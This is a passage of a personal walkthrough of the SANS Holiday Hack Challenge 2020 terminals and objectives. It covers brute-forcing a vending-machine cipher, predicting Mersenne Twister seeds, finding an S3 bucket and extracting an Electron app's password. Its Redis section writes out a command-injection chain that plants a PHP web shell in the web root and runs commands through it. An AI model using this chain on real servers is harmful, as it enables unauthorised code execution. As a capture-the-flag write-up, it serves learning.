hints available both on your badge and from Bushy Evergreen I gathered that it was a classic Vigenère cipher that needed cracking, but alas, I couldn\u0026rsquo;t solve it that way.\nRunning the ./vending-machine binary, you were asked to enter a code to turn the vending machine back on. Inspecting the vending-machines.json configuration file next to the binary we see:\n{ \u0026#34;name\u0026#34;: \u0026#34;elf-maintenance\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;LVEdQPpBwr\u0026#34; } In the lab/ folder, if we delete the vending-machine.json file and re-run the vending-machine binary, we\u0026rsquo;re asked to enter new fields for a new configuration file. This is what I figured was the Chosen plaintext primitive for the Vigenère crack, but alas, that failed for me.\nAfter many, many attempts at solving this I asked for some help and was told some people were just brute forcing the password. So, again in the lab/ folder I tested the output you\u0026rsquo;d get in the vending-machine.json when choosing single character passwords, and eventually came to see if we used something that started with a C, we\u0026rsquo;d get an output string of L line in the password field in the .json file.\nIn the end, I scripted the brute force. Not my proudest moment, but I really tried!\n#!/bin/bash  PASS=\u0026#34;\u0026#34; # this eventually fills to CandyCane1 MATCH=\u0026#34;LVEdQPpBwr\u0026#34; test_pass() { local C=\u0026#34;${PASS}$1\u0026#34; rm -f vending-machines.json printf \u0026#34;a\\n${C}\\n\u0026#34; | ./vending-machines \u0026gt;/dev/null R=$(grep password vending-machines.json | cut -d \u0026#39;\u0026#34;\u0026#39; -f 4) echo \u0026#34;[i] got ${R}\u0026#34; grep -E \u0026#34;^${R}\u0026#34; \u0026lt;\u0026lt;\u0026lt; $MATCH RETVAL=$? if [ ${RETVAL} -ne 0 ]; then return fi PASS=${C} } while true do for L in {{0..9},{A..Z},{a..z}}; do echo \u0026#34;[i] trying ${L}\u0026#34; test_pass $L echo \u0026#34;[i] pass thus far: ${PASS}\u0026#34; done done In the end, the password was CandyCane1.\nthe elf code Ribb Bonbowford stands next to a terminal called \u0026ldquo;The Elf C0de\u0026rdquo; in the dining room. Pretty evil looking Elf if you ask me! Looks like this challenge is a programming game, specifically targeting JavaScript.\n  the elf c0de terminal in the dining room   Here you are presented with a 2D game where you need to control your character using a small JavaScript program. Each level is different and presents you with a gradually more difficult problem to solve.\n  the elf c0de terminal in the dining room   The above screenshot is level 1, and could be solved with the following two lines:\nelf.moveTo(lollipop[0]); elf.moveUp(10); Some levels had nested challenges that you had to solve using code as well. These were to do things like open trap doors, remove \u0026ldquo;yeeters\u0026rdquo; etc. You had to click the challenge object to know what you had to do in code to solve it too, submitting an answer with something like elf.pull_lever(\u0026lt;answer\u0026gt;).\n  level 2 lever objective description   So, to solve level 2, you had to add 2 to whatever value you got when you called get_lever(0). The rest of my solutions follow.\nLevel 2\nelf.moveTo(lever[0]); elf.pull_lever(elf.get_lever(0) + 2); elf.moveLeft(4); elf.moveUp(10); Level 3\nelf.moveTo(lollipop[0]); elf.moveTo(lollipop[1]); elf.moveTo(lollipop[2]); elf.moveUp(1); Level 4\nfor (var i = 0; i \u0026lt; 40; i++) { elf.moveLeft(1); elf.moveUp(12); elf.moveLeft(1); elf.moveDown(12); } Level 5\nelf.moveTo(lollipop[0]); elf.moveTo(munchkin[0]); elf.tell_munch(elf.ask_munch(0).filter(e =\u0026gt; typeof(e) === \u0026#39;number\u0026#39;)); elf.moveUp(2); Level 6\nfor (var i = 0; i \u0026lt; 4; i++) { elf.moveTo(lollipop[i]); } elf.moveTo(lever[0]); elf.pull_lever([\u0026#34;munchkins rule\u0026#34;, ...elf.get_lever(0)]); elf.moveTo(munchkin[0]); elf.moveUp(2); After level 6 the challenge is considered complete. There are more levels that were optional to do. I marked those to come back to later. After completion Ribb Bonbowford would tell us that the Santavator could probably be pwnd with some JavaScript.\n33.6 kbps Fitzy Shortstack stands next to a phone labelled \u0026ldquo;33.6kbps\u0026rdquo; in the kitchen. Talking to Fitzy reveals that the lights on the Christmas trees are controlled using this dialup modem connection, but the modem seems broken. We\u0026rsquo;re given a number, 756-8347 to dial.\n  33.6kbps telephone in the kitchen.   Opening the phone by clicking on it we see this.\n  phone ui   Picking up the phone and dialling the number you\u0026rsquo;d hear a warped version of initial beep from the ever popular dialup sequence you would hear way, waaaay back (yeah, I remember those!). One of the hints Fitzy linked to was a recording of that exact sound here: https://upload.wikimedia.org/wikipedia/commons/3/33/Dial_up_modem_noises.ogg\nThe words on the note next to the phone corresponded to different sections of the dialup sequence, but they were morphed making them hard to identify quickly. I opened the reference .ogg file in Audacity and started piecing together the bits needed.\nAfter dialling, the final sequence of words you had to click on the note were:\n baaDEEbrr aaah wewewwrwrrwrr beDURRdunditty (followed quickly by) SCHHRRHHRTHRTR  Completing this challenge has Fitzy telling us that santa really trusts Shinny Upatree which is a hint as to who\u0026rsquo;s HID card to clone to open the workshop.\nredis bug hunt Holly Evergreen stands next to a terminal called \u0026ldquo;Redis Bug Hunt\u0026rdquo; in the kitchen. Sounds like there is some bug they have not confirmed and we have to find it! This was definitely one of the more fun terminal challenges for me!\n  redis bug hunt terminal in the kitchen   Opening the terminal presents us with a starting point.\n  redis bug hunt terminal initial shell   Let\u0026rsquo;s check out that index.php page quickly.\nplayer@f9292a141ef5:/var/www$ curl http://localhost/index.php Something is wrong with this page! Please use http://localhost/maintenance.php to see if you can figure out what\u0026#39;s going on player@f9292a141ef5:/var/www$ Yep, that looks broken! Next, what about that suggested curl command to maintenance.php.\nplayer@3cc815ce5966:~$ curl http://localhost/maintenance.php ERROR: \u0026#39;cmd\u0026#39; argument required (use commas to separate commands); eg: curl http://localhost/maintenance.php?cmd=help curl http://localhost/maintenance.php?cmd=mget,example1 player@3cc815ce5966:~$ Looks like we need to specify a cmd argument. Based on the second example having mget, I realised these cmd\u0026rsquo;s may be raw Redis CLI commands. Great! I\u0026rsquo;ve definitely exploited RCE via redis before, and one of the hints on your badge confirmed that too! Let\u0026rsquo;s get to work.\nFirst, just to confirm cmd really is passed to the redis CLI:\nplayer@f9292a141ef5:~$ curl http://localhost/maintenance.php?cmd=help Running: redis-cli --raw -a \u0026#39;\u0026lt;password censored\u0026gt;\u0026#39; \u0026#39;help\u0026#39; redis-cli 5.0.3 To get help about Redis commands type: \u0026#34;help @\u0026lt;group\u0026gt;\u0026#34; to get a list of commands in \u0026lt;group\u0026gt; \u0026#34;help \u0026lt;command\u0026gt;\u0026#34; for help on \u0026lt;command\u0026gt; \u0026#34;help \u0026lt;tab\u0026gt;\u0026#34; to get a list of possible help topics \u0026#34;quit\u0026#34; to exit To set redis-cli preferences: \u0026#34;:set hints\u0026#34; enable online hints \u0026#34;:set nohints\u0026#34; disable online hints Set your preferences in ~/.redisclirc Excellent. Next question, where is this redis server? Maybe it’s on another host? I checked to see if our current box has a redis-server running:\nplayer@f9292a141ef5:~$ ps -ef | grep redis root 6 1 0 10:54 pts/0 00:00:00 /usr/bin/redis-server 127.0.0.1:6379 player 61 48 0 10:57 pts/0 00:00:00 grep redis Alright, so the redis-server is local. Running as root too! It won’t necessarily mean we\u0026rsquo;ll become root exploiting the RCE as the primitive is usually that we can write anything, anywhere. Let\u0026rsquo;s investigate the web directory for the local web server.\nplayer@f9292a141ef5:~$ cd /var/www/html/ -bash: cd: /var/www/html/: Permission denied player@f9292a141ef5:~$ cd /var/www/ player@f9292a141ef5:/var/www$ ls -la total 20 drwxr-xr-x 1 root root 4096 Nov 24 18:52 . drwxr-xr-x 1 root root 4096 Nov 24 18:52 .. drwx------ 1 www-data www-data 4096 Dec 31 10:54 html player@f9292a141ef5:/var/www$ Ah! We can\u0026rsquo;t see what\u0026rsquo;s inside /var/www/html, but redis running as root shouldn\u0026rsquo;t have any problems with that. That gives us a plan of attack. Write a webshell to somewhere in /var/www/html using the Redis command injection we have, and then execute commands as www-data (the webserver is running as this user) to read the index.php file they mention.\nWriting a web shell via Redis is done by configuring Redis (via the command injection) where to save database snapshots, adding a new key containing a web shell, then saving a snapshot. This results in the web shell being written to the path we specified.\nWe know the web server is configured to use PHP, so a small PHP webshell like this should be fine.\n\u0026lt;?=`$_GET[1]`?\u0026gt;Let\u0026rsquo;s write the shell to /var/www/html/c.php. Remember the hint we got when we cURL\u0026rsquo;d the maintenance.php file stating that commands should be separated by commas. I lost some time by not reading that properly.\nplayer@8bba634ccf77:~$ curl http://localhost/maintenance.php?cmd=\u0026#34;config,set,dir,/var/www/html\u0026#34; Running: redis-cli --raw -a \u0026#39;\u0026lt;password censored\u0026gt;\u0026#39; \u0026#39;config\u0026#39; \u0026#39;set\u0026#39; \u0026#39;dir\u0026#39; \u0026#39;/var/www/html\u0026#39; OK player@8bba634ccf77:~$ curl http://localhost/maintenance.php?cmd=\u0026#34;config,set,dbfilename,c.php\u0026#34; Running: redis-cli --raw -a \u0026#39;\u0026lt;password censored\u0026gt;\u0026#39; \u0026#39;config\u0026#39; \u0026#39;set\u0026#39; \u0026#39;dbfilename\u0026#39; \u0026#39;c.php\u0026#39; OK player@8bba634ccf77:~$ curl http://localhost/maintenance.php?cmd=\u0026#34;set,shell,%3C%3F%3D%60%24_GET%5B1%5D%60%3F%3E\u0026#34; Running: redis-cli --raw -a \u0026#39;\u0026lt;password censored\u0026gt;\u0026#39; \u0026#39;set\u0026#39; \u0026#39;set\u0026#39; \u0026#39;\u0026lt;?=`$_GET[1]`\u0026#39; OK And just to confirm the url encoding of our shell meant that the value was correctly stored in Redis.\nplayer@8bba634ccf77:~$ curl http://localhost/maintenance.php?cmd=\u0026#34;get,shell\u0026#34; Running: redis-cli --raw -a \u0026#39;\u0026lt;password censored\u0026gt;\u0026#39; \u0026#39;get\u0026#39; \u0026#39;set\u0026#39; \u0026lt;?=`$_GET[1]`?\u0026gt; player@8bba634ccf77:~$ curl http://localhost/maintenance.php?cmd=\u0026#34;save\u0026#34; Running: redis-cli --raw -a \u0026#39;\u0026lt;password censored\u0026gt;\u0026#39; \u0026#39;save\u0026#39; OK Assuming that worked, we can now call our PHP web shell!\ncurl http://localhost/c.php?1=id --output - REDIS0009� redis-ver5.0.3� �edis-bits�@�ctime��_used-mem�p aof-preamble��� shelluid=33(www-data) gid=33(www-data) groups=33(www-data) example2#We think there\u0026#39;s a bug in index.phexample1¬The site is in maintenance mode�?E�=��pl The output seems a bit messed up, and there is a perfectly reasonable explanation for this. See, when we saved the Redis database, it also saved everything else that was stored in it. The fact that we enclosed our webshell with \u0026lt;? \u0026amp; ?\u0026gt; tags just means that that specific section will be interpreted by the PHP interpreter. Everything else will output raw. Heh. (In pure PHP files you can leave out the trailing ?\u0026gt;, but in this case that would break the shell).\nSo, to solve the challenge we can just cat the index.php file.\nayer@f9bfa34faa14:~$ curl http://localhost/c.php?1=cat%20index.php --output - REDIS0009� redis-ver5.0.3� �edis-bits�@�ctime��_used-mem�p aof-preamble��� shell\u0026lt;?php # We found the bug!! # # \\ / # .\\-/. # /\\ () () # \\/~---~\\.-~^-. # .-~^-./ | \\---. # { | } \\ # .-~\\ | /~-. # / \\ A / \\ # \\/ \\/ # echo \u0026#34;Something is wrong with this page! Please use http://localhost/maintenance.php to see if you can figure out what\u0026#39;s going on\u0026#34; ?\u0026gt; example2#We think there\u0026#39;s a bug in index.phexample1¬The site is in maintenance mode�?E�=��pl Solving this challenge unlocks hints for the Broken Tag Generator objective.\nscapy prepper Alabaster Snowball stands next to a terminal called \u0026ldquo;Scapy Prepper\u0026rdquo; in the netwars room. Looks like this is just a gentle scapy introduction.\n  scapy prepper terminal in the netwars room   Opening the terminal presents us with a starting point.\n  scapy prepper terminal initial shell   This is a really, really simple terminal challenge. Answering the questions simply takes fiddling around as they suggest in the questions, and some simple documentation scanning.\nA transcript of what my answers were:\n\u0026gt;\u0026gt;\u0026gt; task.submit(\u0026#39;start\u0026#39;) \u0026gt;\u0026gt;\u0026gt; task.submit(send) \u0026gt;\u0026gt;\u0026gt; task.submit(sniff) \u0026gt;\u0026gt;\u0026gt; task.submit(1) \u0026gt;\u0026gt;\u0026gt; task.submit(rdpcap) \u0026gt;\u0026gt;\u0026gt; task.submit(2) \u0026gt;\u0026gt;\u0026gt; task.submit(UDP_PACKETS[0]) \u0026gt;\u0026gt;\u0026gt; task.submit(TCP_PACKETS[1][IP][TCP]) \u0026gt;\u0026gt;\u0026gt; UDP_PACKETS[0][IP].src = \u0026#39;127.0.0.1\u0026#39; \u0026gt;\u0026gt;\u0026gt; task.submit(UDP_PACKETS[0]) \u0026gt;\u0026gt;\u0026gt; TCP_PACKETS.show() 0000 Ether / IP / TCP 192.168.0.114:1137 \u0026gt; 192.168.0.193:ftp S 0001 Ether / IP / TCP 192.168.0.193:ftp \u0026gt; 192.168.0.114:1137 SA 0002 Ether / IP / TCP 192.168.0.114:1137 \u0026gt; 192.168.0.193:ftp A 0003 Ether / IP / TCP 192.168.0.193:ftp \u0026gt; 192.168.0.114:1137 PA / Raw 0004 Ether / IP / TCP 192.168.0.114:1137 \u0026gt; 192.168.0.193:ftp PA / Raw 0005 Ether / IP / TCP 192.168.0.193:ftp \u0026gt; 192.168.0.114:1137 PA / Raw 0006 Ether / IP / TCP 192.168.0.114:1137 \u0026gt; 192.168.0.193:ftp PA / Raw 0007 Ether / IP / TCP 192.168.0.193:ftp \u0026gt; 192.168.0.114:1137 PA / Raw \u0026gt;\u0026gt;\u0026gt; TCP_PACKETS[6] \u0026lt;Ether dst=00:15:f2:40:76:ef src=00:16:ce:6e:8b:24 type=IPv4 |\u0026lt;IP version=4 ihl=5 tos=0x0 len=51 id=42982 flags=DF frag=0 ttl=128 proto=tcp chksum=0xd05a src=192.168.0.114 dst=192.16 8.0.193 |\u0026lt;TCP sport=1137 dport=ftp seq=3753095950 ack=3334930821 dataofs=5 reserved=0 flags =PA window=17357 chksum=0xe96b urgptr=0 |\u0026lt;Raw load=\u0026#39;PASS echo\\r\\n\u0026#39; |\u0026gt;\u0026gt;\u0026gt;\u0026gt; \u0026gt;\u0026gt;\u0026gt; task.submit(\u0026#39;echo\u0026#39;) \u0026gt;\u0026gt;\u0026gt; task.submit(ICMP_PACKETS[1][ICMP].chksum) \u0026gt;\u0026gt;\u0026gt; task.submit(3) \u0026gt;\u0026gt;\u0026gt; task.submit(IP(dst=\u0026#39;127.127.127.127\u0026#39;)/UDP(dport=5000)) \u0026gt;\u0026gt;\u0026gt; task.submit(IP(dst=\u0026#39;127.2.3.4\u0026#39;)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname=\u0026#39;elveslove.santa\u0026#39;))) \u0026gt;\u0026gt;\u0026gt; ARP_PACKETS[1][ARP].op = 2 \u0026gt;\u0026gt;\u0026gt; ARP_PACKETS[1][ARP].hwsrc = \u0026#34;00:13:46:0b:22:ba\u0026#34; \u0026gt;\u0026gt;\u0026gt; ARP_PACKETS[1][ARP].hwdst = \u0026#34;00:16:ce:6e:8b:24\u0026#34; \u0026gt;\u0026gt;\u0026gt; task.submit(ARP_PACKETS) Solving this challenge revealed more broken tag generator objective hints.\ncan-bus investigation Wunorse Openslae stands next to a terminal called \u0026ldquo;CAN-Bus Investigation\u0026rdquo; in the netwars room. Looks like were about to do some car hacking\n  can-bus investigation terminal in the netwars room   Opening the terminal presents us with a starting point.\n  can-bus investigation terminal initial shell   Now this one was tricky for me initially because I misread the question. The terminal states that you need to find the UNLOCK command:\n Also in the data are a LOCK signal, an UNLOCK signal, and one more LOCK. Can you find the UNLOCK? We\u0026rsquo;d like to encode another key mechanism.\n I thought there was another unlock, after the second LOCK. Turns out they just wanted the timestamp for the single UNLOCK command in the log. Some simple grep should be enough to find it. Just reduce the log entries until you have narrowed it down. The log primarily has 244 entries, so filter those out first. Next were the 188 commands. That should leave you with this:\nelf@0a028f799e8a:~$ cat candump.log | grep -Ev \u0026#34;244|188\u0026#34; (1608926664.626448) vcan0 19B#000000000000 (1608926671.122520) vcan0 19B#00000F000000 (1608926674.092148) vcan0 19B#000000000000 That second one is probably the unlock, so run the binary suggested with 122520 entered when asked.\nelf@0a028f799e8a:~$ ./runtoanswer There are two LOCK codes and one UNLOCK code in the log. What is the decimal portion of the UNLOCK timestamp? (e.g., if the timestamp of the UNLOCK were 1608926672.391456, you would enter 391456. \u0026gt; 122520 Your answer: 122520 Checking.... Your answer is correct! Solving this challenge has Wunorse tell us that Santa\u0026rsquo;s Sleigh uses a variation of CANBUS called CAN-D Bus. There\u0026rsquo;s also something up with the brakes and door locks, and he suggests we filter out messages that seem out of place.\nsort-o-matic Minty Candycane stands next to a terminal called \u0026ldquo;Sort-o-matic\u0026rdquo; in the workshop. This terminal seems to be a present sorter based on Regular Expressions. This challenge was also the one I disliked the most. It was finiky, and well, it was regex based :(\n  sort-o-matic terminal in the workshop   Opening the terminal presents us with a starting point.\n  sort-o-matic terminal initial screen     sort-o-matic terminal initial answers screen   You could click on the questions to get an idea of what type of regular expression they looked for. Some questions had example data that the regex had to match and not match. I had valid answers that would have invalid matches be accepted, which wasn\u0026rsquo;t great.\n  sort-o-matic question format   My answers to the 8 questions were (thanks @hypnza for saving my sanity here):\n1. \\d 2. [a-zA-Z]{3,} 3. [a-z0-9]{2,} 4. [^A-L^1-5]{2,} 5. ^[0-9]{3,}$ 6. ^(?:([01]?\\d|2[0-3]):([0-5]?\\d){2}:)?([0-5]?\\d)$ 7. ^([0-9A-Fa-f]{2}:){5}([0-9A-Fa-f]{2})$ 8. ^([0-9]{2}[\\/.-][0-2]{1}[0-9]{1}[\\/.-][0-9]{4})$ (thanks @Hypn) Solving this terminal unlocked some hints for the Splunk objective.\nsnowball fight Tangle Coalbox stands next to a terminal called \u0026ldquo;Snowball Fight\u0026rdquo; in the Speaker Unpreparedness Room. This terminal seems to be a battleships-like game where you face off against a computer opponent.\n  snowball fight terminal in the speaker unpreparedness room   Opening the terminal presents us with a splash screen where we could choose a difficulty, and for some levels, a player name. A suggested name was given at the start as an integer.\n  snowball fight game splash screen   Starting a game you see two squares, one where your fortresses are and another where you have to guess where your enemies' fortresses are.\n  snowball fight player fortresses     snowball fight enemy fortresses that you guessed   The aim was to win a game on impossible, but if you gave that a try you\u0026rsquo;d see that it’s pretty much impossible. The computer always hit your fortresses with perfect accuracy. Reading the hints given on your badge and by Tangle Coalbox you\u0026rsquo;d come to realise that the aim here was to predict the numbers used by the computers random number generator. When you chose to play an easy game, your username was used as a seed to determine where all of the fortresses (yours and the computers) would be positioned. If you started multiple consecutive games with the same name (read: seed), the positions would have been exactly the same.\nBut on impossible you don’t get to choose your name, the computer generated it for you, and what’s worse, you don’t get to see what it chose. This is what we had to predict. Watching Tom Liston\u0026rsquo;s talk was key for me to solving this. I learnt a ton about the Mersenne Twister pseudorandom number generator (PRNG), and ways to abuse it. Tim\u0026rsquo;s talk also contained a link to a project of his to help predict the next values of a PRNG granted you were able to seed it with at least 624 previous, sequential values here.\nAnyways, I\u0026rsquo;m repeating what Tom said in the talk, but I really enjoyed this one okay :) Back to the game, when you start a game on impossible, (conveniently) 624 seeds are placed in an HTML comment that you can view.\n  snowball fight impossible seeds in comment   Right at the end of that comment you\u0026rsquo;d find:\n3206067930 - Not random enough 288869423 - Not random enough 1494780797 - Not random enough 4089687663 - Not random enough \u0026lt;Redacted!\u0026gt; - Perfect! --\u0026gt; Couple this with Tom\u0026rsquo;s code and we have everything we need to beat the game on impossible. I played around a bit with the PRNG predictor to test that it works fine, and then moved on to extracting the numbers from the game\u0026rsquo;s HTML comment to feed into the predictor. I copied the comment out and ran it through this one-liner.\ncat seeds.txt | awk -F\u0026#39;-\u0026#39; \u0026#39;{print $1}\u0026#39; | awk \u0026#39;{print $1}\u0026#39; \u0026gt; seed Next, I wrote a small script that imported the mt19937 class and untemper function from Tom\u0026rsquo;s code, read the seeds from my file, populated the 624 values it had and then ran the extract_number() function to get the next value. Pretty much exactly like it was done in the script\u0026rsquo;s example.\nfrom mt19937 import mt19937, untemper with open(\u0026#39;seeds\u0026#39;, \u0026#39;r\u0026#39;) as f: seeds = f.readlines() seeds = [int(x.strip()) for x in seeds] myprng = mt19937(0) for i in range(mt19937.n): myprng.MT[i] = untemper(seeds[i]) print(f\u0026#39;next #: {myprng.extract_number()}\u0026#39;) Using the predicted number of 324105638, we then start a new easy game making 324105638 our username in an incognito tab, winning it to reveal the positions of the enemy fortresses.\n  snowball fight easy game with predicted seed   Knowing where the enemy\u0026rsquo;s fortresses are with the predicted seed, we can now play a surgically accurate game on impossible.\n  snowball fight easy game with predicted seed   Solving this challenge provides hints for the later blockchain challenges, 11a \u0026amp; 11b.\nobjectives Many of the objectives required hints from some of the terminal challenges first. I didn\u0026rsquo;t really have a strategy other than walking around and clicking on terminals as I saw them. As I went through them, I chose to do the main objectives that were available next to them as well. At first, only the first 5 main objectives were visible until you unlocked the door in Santas workshop to impersonate him.\n1 - uncover santas gift list When you first login you start off in a staging area. The first objective on your badge reads:\n There is a photo of Santa\u0026rsquo;s Desk on that billboard with his personal gift list. What gift is Santa planning on getting Josh Wright for the holidays? Talk to Jingle Ringford at the bottom of the mountain for advice.\n Hopping around to the top left reveals the billboard, and when you click it a new tab opens with the image: https://2020.kringlecon.com/textures/billboard.png\n  billboard in the staging area   The part you need to focus on in the image is the list at the bottom left that has this \u0026ldquo;swirling\u0026rdquo; effect to it. It isn\u0026rsquo;t easy to make out what it says, as expected. But, if you\u0026rsquo;ve ever played with image editing tools before you\u0026rsquo;d know that it\u0026rsquo;s not hard to create this effect.\n  santas swirled gift list   This challenge had me mad. I tried many tools, tweaking their \u0026ldquo;swirl-tool\u0026rdquo; equivalent\u0026rsquo;s properties such as size, \u0026ldquo;harshness\u0026rdquo; etc. applying the swirling effect in the opposite direction (right). In the end, I used https://www.photopea.com/\u0026rsquo;s \u0026ldquo;Twirl\u0026rdquo; tool but instead of trying to \u0026ldquo;untwirl\u0026rdquo; the whole list, I had success with a smaller \u0026ldquo;untwirl\u0026rdquo; revealing Josh\u0026rsquo;s entry as getting a proxmark.\n  josh getting a proxmark!   2 - investigate s3 bucket  When you unwrap the over-wrapped file, what text string is inside the package? Talk to Shinny Upatree in front of the castle for hints on this challenge.\n   investigate s3 bucket in the entry area   Talking to Shinny Upatree, we get (after solving the terminal next to the challenge):\n Say, we\u0026rsquo;ve been having an issue with an Amazon S3 bucket.\nDo you think you could help find Santa\u0026rsquo;s package file?\nJeepers, it seems there\u0026rsquo;s always a leaky bucket in the news. You\u0026rsquo;d think we could find our own files!\nDigininja has a great guide, if you\u0026rsquo;re new to S3 searching.\nHe even released a tool for the task - what a guy!\nThe package wrapper Santa used is reversible, but it may take you some trying.\n Great, so get a file from S3, and have a look at it? The opening terminal for this challenge looked like this.\n  investigate s3 bucket starting terminal   A directory called bucket_finder contained Bucket Finder by @digininja pre-setup with a wordlist. Running it gave:\nelf@cb4ef197f1c4:~/bucket_finder$ ./bucket_finder.rb wordlist http://s3.amazonaws.com/kringlecastle Bucket found but access denied: kringlecastle http://s3.amazonaws.com/wrapper Bucket found but access denied: wrapper http://s3.amazonaws.com/santa Bucket santa redirects to: santa.s3.amazonaws.com http://santa.s3.amazonaws.com/ Bucket found but access denied: santa I was stumped for a while on this one. Most of my attempts was me messing with permutations of the words in the provided word list (I figured those bucket names were generic and surely they were taken before Kringlecon 3), until I noticed the wrapper3000 hint, and added that to the word list.\nelf@cb4ef197f1c4:~/bucket_finder$ ./bucket_finder.rb -d wordlist http://s3.amazonaws.com/kringlecastle Bucket found but access denied: kringlecastle http://s3.amazonaws.com/wrapper Bucket found but access denied: wrapper http://s3.amazonaws.com/santa Bucket santa redirects to: santa.s3.amazonaws.com http://santa.s3.amazonaws.com/ Bucket found but access denied: santa http://s3.amazonaws.com/wrapper3000 Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 ) \u0026lt;Downloaded\u0026gt; http://s3.amazonaws.com/wrapper3000/package Adding -d to bucket_finder.rb will also download files found in the bucket, which in this case meant that we got the file called package. If we were to cat package to see what\u0026rsquo;s inside, we\u0026rsquo;ll find a base64 string.\nelf@cb4ef197f1c4:~/bucket_finder/wrapper3000$ cat package UEsDBAoAAAAAAIAwhFEbRT8anwEAAJ8BAAAcABwAcGFja2FnZS50eHQuWi54ei54eGQudGFyLmJ6MlVUCQADoBfKX6AX yl91eAsAAQT2AQAABBQAAABCWmg5MUFZJlNZ2ktivwABHv+Q3hASgGSn//AvBxDwf/xe0gQAAAgwAVmkYRTKe1PVM9U0 ekMg2poAAAGgPUPUGqehhCMSgaBoAD1NNAAAAyEmJpR5QGg0bSPU/VA0eo9IaHqBkxw2YZK2NUASOegDIzwMXMHBCFAC gIEvQ2Jrg8V50tDjh61Pt3Q8CmgpFFunc1Ipui+SqsYB04M/gWKKc0Vs2DXkzeJmiktINqjo3JjKAA4dLgLtPN15oADL e80tnfLGXhIWaJMiEeSX992uxodRJ6EAzIFzqSbWtnNqCTEDML9AK7HHSzyyBYKwCFBVJh17T636a6YgyjX0eE0IsCbj cBkRPgkKz6q0okb1sWicMaky2Mgsqw2nUm5ayPHUeIktnBIvkiUWxYEiRs5nFOM8MTk8SitV7lcxOKst2QedSxZ851ce DQexsLsJ3C89Z/gQ6Xn6KBKqFsKyTkaqO+1FgmImtHKoJkMctd2B9JkcwvMr+hWIEcIQjAZGhSKYNPxHJFqJ3t32Vjgn /OGdQJiIHv4u5IpwoSG0lsV+UEsBAh4DCgAAAAAAgDCEURtFPxqfAQAAnwEAABwAGAAAAAAAAAAAAKSBAAAAAHBhY2th Z2UudHh0LloueHoueHhkLnRhci5iejJVVAUAA6AXyl91eAsAAQT2AQAABBQAAABQSwUGAAAAAAEAAQBiAAAA9QEAAAAA elf@cb4ef197f1c4:~/bucket_finder/wrapper3000$ Easy, the next step was to base64 decode the file ofc.\n  package base64 decoded showing nonprintable and many familiar file headers   That resulted in a bunch of nonprintable characters, but, it was possible to make out that this could be a zipfile based on some familiar strings in the output. You could confirm that using the file command as well.\nelf@cb4ef197f1c4:~/bucket_finder/wrapper3000$ cat package | base64 -d | file - /dev/stdin: Zip archive data, at least v1.0 to extract Great! So let\u0026rsquo;s redirect the decoding to a file and unzip it!\nelf@cb4ef197f1c4:~/bucket_finder/wrapper3000$ cat package | base64 -d \u0026gt; package.zip elf@cb4ef197f1c4:~/bucket_finder/wrapper3000$ unzip package.zip Archive: package.zip extracting: package.txt.Z.xz.xxd.tar.bz2 elf@cb4ef197f1c4:~/bucket_finder/wrapper3000$ ls -l total 12 -rw-r--r-- 1 elf elf 829 Dec 30 15:44 package -rw-r--r-- 1 elf elf 415 Dec 4 11:04 package.txt.Z.xz.xxd.tar.bz2 -rw-r--r-- 1 elf elf 621 Dec 30 15:50 package.zip Given all of the file extensions the resultant file has, by now we should know why this is called package. Solving this from here should be mostly trivial, repeating the same process we have been following to unpack/decompress the relevant format.\nI copied over the base64 found in package to my computer, and wrote a one-liner to get to the final message.\n$ cat package | base64 -D | funzip | tar -zxOf - | xxd -r - | unxz - | uncompress - North Pole: The Frostiest Place on Earth 3 - point-of-sale password recovery  Help Sugarplum Mary in the Courtyard find the supervisor password for the point-of-sale terminal. What\u0026rsquo;s the password?\n After completing the linux primer terminal challenge, some hints one how to solve this one is given.\n  santa shop in courtyard   Opening the challenge we get a link to download an executable at https://download.holidayhackchallenge.com/2020/santa-shop/santa-shop.exe.\nI took this file and ran it on a Windows VM, which installed what looked like an Electron application and presented me with the password screen the challenge referred to. The hint we get from the terminal challenge tells us that it is possible to extract JavaScript source code for electron apps using a utility called asar. More specifically, this utility can read the archive format for .asar files, and we have to get that from the Point-of-Sale application.\nTo get the file, open the task manager after running santa-shop. Browse to the \u0026ldquo;Details\u0026rdquo; tab and search for the santa-shop.exe process. Right click any of the few and hit \u0026ldquo;Open file location\u0026rdquo;.\n  open file location dialog in windows task manager   Next, open the resources/ directory where you will find a file called app.asar. I copied this to my host.\nThe next steps are to extract the contents of this file. One of the hints you get suggests that you do this with npm install -g asar, however, I did it without the -g flag. I don\u0026rsquo;t like node in general, and having stuff in my global node_modules is not something I like either. Instead, I installed it with npm install asar which created a node_modules folder in my current working directory. Then, to run asar I use a utility called npx, meaning I can invoke a locally installed instance of asar with npx asar.\nGreat, with app.asar ready, the next step is to extract it with npx asar extract app.asar src. This will leave the contents of the archive in the src/ directory. Then, to solve this challenge, simply grep for password, ignoring case.\n  the password was \u0026#39;santapass\u0026#39;   Notice the SANTA_PASSWORD constant.\n4 - operate the santavator This objective did not really give you a lot to work with directly.\n Talk to Pepper Minstix in the entryway to get some hints about the Santavator.\n Pepper was our unescape tmux challenge elf, so after you finished that you\u0026rsquo;d get some hints on how to operate the Santavator. Basically, you\u0026rsquo;d pick up stuff lying around, including an all-important elevator key, pop open the button\u0026rsquo;s panel and \u0026ldquo;tweak\u0026rdquo; the internals to make the buttons usable. The idea was to get the light particle source split up so that each coloured section would get enough particles to light up the section.\nUnfortunately I have no idea where I picked most of the stuff I got such as nuts, lights and the key, but, you should be able to spot them lying around on the ground on the map pretty easily. Just walk around a bit and explore the rooms.\n  items picked up on the map accessible via your badge   When you enter the elevator there is a panel you could click on in the bottom left.\n  santavator panel outside. yellow light around a button means its usable.   With the key, you could open it up and see the inside.\n  santavator panel inside with my configuration that lit up all of the lights   Activating a light should see you complete the objective. Close up the panel and hit the buttons for the floors you have available. Further poking (and a later challenge) showed that you can actually skip all of this and just make the buttons active regardless.\n5 - open hid lock  Open the HID lock in the Workshop. Talk to Bushy Evergreen near the talk tracks for hints on this challenge. You may also visit Fitzy Shortstack in the kitchen for tips.\n Bushy Evergreen stood by the Speaker UNPrep terminal challenge, and once you complete the lights challenge, we\u0026rsquo;re told that the Proxmark can simulate badges. Alright, again, I can\u0026rsquo;t remember where I picked up the proxmark, but just walking around everywhere you should spot it lying on the ground. Bushy also mentioned a talk that is super useful to understand the proxmark a little better: https://www.youtube.com/watch?v=647U85Phxgo\nOnce you have the proxmark you will find it on your badge under items.\n  proxmark accessible from your badge   Clicking on the \u0026ldquo;Open Proxmark CLI\u0026rdquo; button will show you 